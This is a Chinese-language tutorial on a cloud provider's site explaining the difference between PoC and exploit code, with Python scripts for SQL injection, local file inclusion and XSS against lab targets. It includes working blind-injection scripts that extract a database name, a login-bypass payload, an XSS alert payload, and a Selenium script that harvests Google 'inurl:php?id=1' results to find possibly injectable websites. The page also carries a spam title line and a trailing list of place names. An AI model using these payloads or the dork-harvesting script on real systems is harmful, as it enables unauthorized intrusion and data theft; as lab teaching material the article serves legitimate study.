中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Python的POC和EXP區別是什么

發布時間:2021-11-29 09:46:53 來源:億速云 閱讀:2603 作者:iii 欄目:安全技術

本篇內容介紹了“Python的POC和EXP區別是什么”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

0x00 POC概念

POC (Proof of Concept), 直譯為“概念證明”,百度百科的權威定義如下:“概念證明是證實發布的漏洞真實性的測試代碼”。==》poc的要求:確定性,能夠驗證漏洞真實存在。

它可能僅僅只是一小段代碼,功能也比較簡單,只要能夠用來驗證某一個或者一類漏洞真實存在即可。編寫POC的門檻并不是很高,關鍵還是在于對漏洞本身的理解。

0x01 POC編寫框架

POC框架可以對大量POC進行管理與調度,提供了統一的編程規范與接口,是編寫POC很好的幫手。我們只需要按照框架自定義的格式寫好POC.然后放在框架中運行即可。

1. Pocsuite

Pocsuite框架現為知道創宇Seebug平臺通用的漏洞驗證框架,使用Python編寫POC。可以提交POC換kb, kb可以用來兌換現金,掙點零花錢還是相當不錯的。老司機們可能聽過Sebug,那是Seebug的前身, 2016年Sebug收購了另一個優秀框架Beebeeto后,更名為Seebug。

2. Tangscan

Tangscan (唐朝掃描器)是wooyun社區的官方框架,使用Python編寫POC。可以提交POC換湯圓,參與現金分紅。

3. Bugscan

Bugscan是四葉草的官方框架,使用Python編寫POC。提交POC插件獲取rank獎勵,可兌換實物獎勵,獎品還是蠻豐富的。

0x02 POC和EXP區別

POC可以看成是一段驗證的代碼, 就像是一個證據, 能夠證明漏洞的真實性。

EXP (Exploit) :中文直譯為“漏洞利用”,簡單點講,就是通過EXP能夠實現漏洞的利用價值。比如某個系統存在SQL注入漏洞,我們可以編寫EXP來提取數據庫版本信息等。

但是有時兩者也不太好區分。我們也可以在POC中加入Exploit的代碼,現在很多開源的POC框架其實就是這樣做的,比如下面會講到的幾個框架。我們可以這么認為:有POC不一定有EXP,但有EXP一定有POC。前半段是指,有poc但不一定所有都可以利用來完成有效攻擊,所以不一定有exp。后半段是指,有可以用于進行有效攻擊的漏洞那一定存在exp。

0x03 POC、EXP盲注練習---sql-labs-master

  1. 判斷注入閉合方式

'''
布爾盲注:http://192.168.30.164/sqli/Less-5/
判斷是否存在單引號閉合的sql注入
poc編寫:結果有或者沒有
'''
import requests

def verify(url):
    payload1 = "?id=1' and 1=1 --+"
    payload2 = "?id=1' and 1=2 --+"
    resp1 = requests.get(url+payload1)
    resp2 = requests.get(url+payload2)

    text1 = resp1.text
    text2 = resp2.text
    print(text2)
    if ('You are in' in text1) and ('You are in' not in text2):
        print(url,':存在單引號閉合的sql注入(盲注)')
    else:
        print(url,':不存在單引號閉合的sql注入(盲注)')
verify('http://192.168.30.164/sqli/Less-5/')

      2.判斷數據庫長度 ==》數據庫名字最長為64 數據表名字最長為64 字段名字最長為64

import requests

def verify(url):
    for i in range(1,20):
        payload1 = "?id=1' and length(database())={} --+".format(i)
        resp1 = requests.get(url+payload1)
        text1 = resp1.text
        if 'You are in' in text1:
            print('database長度為:%s'%i)
            break
if __name__=='__main__':
    url = "http://192.168.30.164/sqli/Less-5/"
    verify(url)

      3.判斷數據庫名

'''
exp的小練習啦
布爾盲注:http://192.168.30.164/sqli/Less-5/
You are in
'''

import requests

def verify(url):
    # length = []
    for i in range(1,8):
        list = 'abcdefghijklmnopqrstuvwxyz'
        for k in range(1,26):
            j = list[k]
            # payload1 = "?id=1' and length(database())={} --+".format(i)
            payload1 = "?id=1' and substr(database(),{},1)='{}' --+".format(i,j)
            resp1 = requests.get(url+payload1)
            text1 = resp1.text
            if 'You are in' in text1:
                print('database為:%s'%j)
                break

if __name__=='__main__':
    url = "http://192.168.30.164/sqli/Less-5/"
    verify(url)

# j = input('請輸入想玩耍關卡:')
# verify('http://192.168.30.164/sqli/Less-{}/'.format(j))
# verify('http://192.168.30.164/sqli/Less-5/')

0x04 POC的post型練習---sql-labs-master 

      post型的SQL注入,需要在獲取其url的基礎上再獲取表單中傳的值,具體可通過burpsuite來抓包進行分析獲得。在python中將所傳的值放入請求以鍵值對的形式上傳。

'''
Post poc
http://192.168.30.164/sqli/Less-11/
'''
import requests

url = "http://192.168.30.164/sqli/Less-11/"
payloads = "admin' or '1'='1 #"
response = requests.post(url,data={'uname':payloads,'passwd':123})
html = response.text
print(html)
if 'Your Login name' in html:
    print('Post注入')

0x05 POC的文件包含練習

      文件包含:

  • 本地文件包含  =》http://127.0.0.1/1/lfi.php?file=phpinfo.txt

  • 遠程文件包含  =》需要開啟 allow_url_include,默認是off。遠程文件包含?file=http://遠程文件地址

"""
文件包含 poc
http://127.0.0.1/1/lfi.php?file=phpinfo.txt
"""
import requests

def verify(url):
    payload = '?file=phpinfo.txt'
    reaponse = requests.get(url+payload)
    html_str = reaponse.text
    if 'PHP Version' in html_str:
        print('存在本地文件包含')
    else:
        print('不存在')
if __name__ == '__main__':
    verify(url="http://127.0.0.1/1/lfi.php")

0x06 POC的XSS練習

      XSS是除SQL注入外第二大的漏洞,類別有:反射型XSS,存儲型XSS,DOM型XSS。

      XSS可以做什么:

  • 蠕蟲 ==》帥的一批

  • 獲取cookie

  • 獲取被攻擊者真實ip:javascript 本身不具備此功能

  • 識別用戶安裝的軟件

  • XSS釣魚

  • 截圖

  • 鍵盤記錄

  • 訪問瀏覽器的訪問記錄

  • 內網掃描

"""
xss跨站腳本攻擊
彈窗
http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E
"""
import requests
import re
def POC():
    response = requests.get('http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>')
    res = response.text
    if re.search('alert\(123\)',res):
        return True
    else:
        return False
if __name__ == '__main__':
    print(POC())

0x07 谷歌語法:通過inurl=php?id=1來搜索出可能含有注入點的網站

1.谷歌語法

site:可以限制你搜索范圍的域名.

inurl:用于搜索網頁上包含的URL,這個語法對尋找網頁上的搜索,幫助之類的很有用.

intext: 只搜索網頁<body>部分中包含的文字(也就是忽略了標題、URL等的文字)

intitle: 查包含關鍵詞的頁面,一般用于社工別人的webshell密碼

filetype:搜索文件的后綴或者擴展名

intitle:限制你搜索的網頁標題.

link: 可以得到一個所有包含了某個指定URL的頁面列表.

2.google語法模擬點擊

"""
selenium爬蟲
1.通過google語法批量獲取 php?id=1 d的url
2.url存到文件中:urls.txt
"""

from selenium import webdriver
import time
import re

# #設置無頭
# chrome_option =

dirver = webdriver.Chrome(r'G:\python\file\chromedriver.exe')   #創建谷歌瀏覽器對象,打開谷歌瀏覽器
dirver.get('https://www.google.com/search?q=inurl:php?id=1')

for i in range(10):
    time.sleep(1.5)
    dirver.execute_script('window.scrollTo(0,document.body.scrollHeight)')
    html_str = dirver.page_source  # 獲取源碼
    #數據解析
    # test = dirver.find_element_by_xpath('//a[@id="pnnext"]/span[2]')
    pattern = re.compile('<div class="r"><a href="(.*?)"',re.S)
    #點擊下一頁
    # test = dirver.find_element_by_link_text('下一頁')
    test = dirver.find_element_by_class_name('r')[0] #定位到一個元素
    result = re.findall(pattern,html_str)
    test.click()  # 模擬點擊
    print(result)

dirver.close()                #關閉瀏覽器

0x08 Selenium實現模擬登錄

1.selenium

selenium 是一個用于Web應用程序測試的工具。Selenium測試直接運行在瀏覽器中,就像真正的用戶在操作一樣。selenium的核心Selenium Core基于JsUnit,完全由JavaScript編寫,因此可以用于任何支持JavaScript的瀏覽器上。selenium可以模擬真實瀏覽器,自動化測試工具,支持多種瀏覽器,爬蟲中主要用來解決JavaScript渲染問題。

2.selenium實現模擬登錄

"""
selenium實現模擬登錄
"""
from selenium import webdriver
import time
driver = webdriver.Chrome()                  #Chrome()是一個對象來著
url = 'http://192.168.30.164/sqli/Less-11/'
driver.get(url)
print(driver.page_source)

username = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[1]/input')
password = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[2]/input')
submit = driver.find_element_by_xpath('//form/div[3]/input')    #雙斜杠指從任意位置到當前的位置

username.clear()
username.send_keys('admin')
time.sleep(1)
password.clear()
password.send_keys('admin')
time.sleep(1)
submit.click()
time.sleep(5)

driver.close()

“Python的POC和EXP區別是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

司法| 弥勒县| 伊通| 阜新市| 张家界市| 舞钢市| 成武县| 泗洪县| 新营市| 凤庆县| 驻马店市| 河北省| 汉寿县| 延津县| 拉孜县| 商丘市| 思茅市| 古交市| 江门市| 东方市| 广灵县| 乐清市| 洪泽县| 蓬莱市| 东乡县| 建德市| 顺义区| 新竹县| 福贡县| 札达县| 黑龙江省| 阿拉善盟| 伽师县| 高要市| 多伦县| 双流县| 睢宁县| 忻城县| 平顺县| 万年县| 攀枝花市|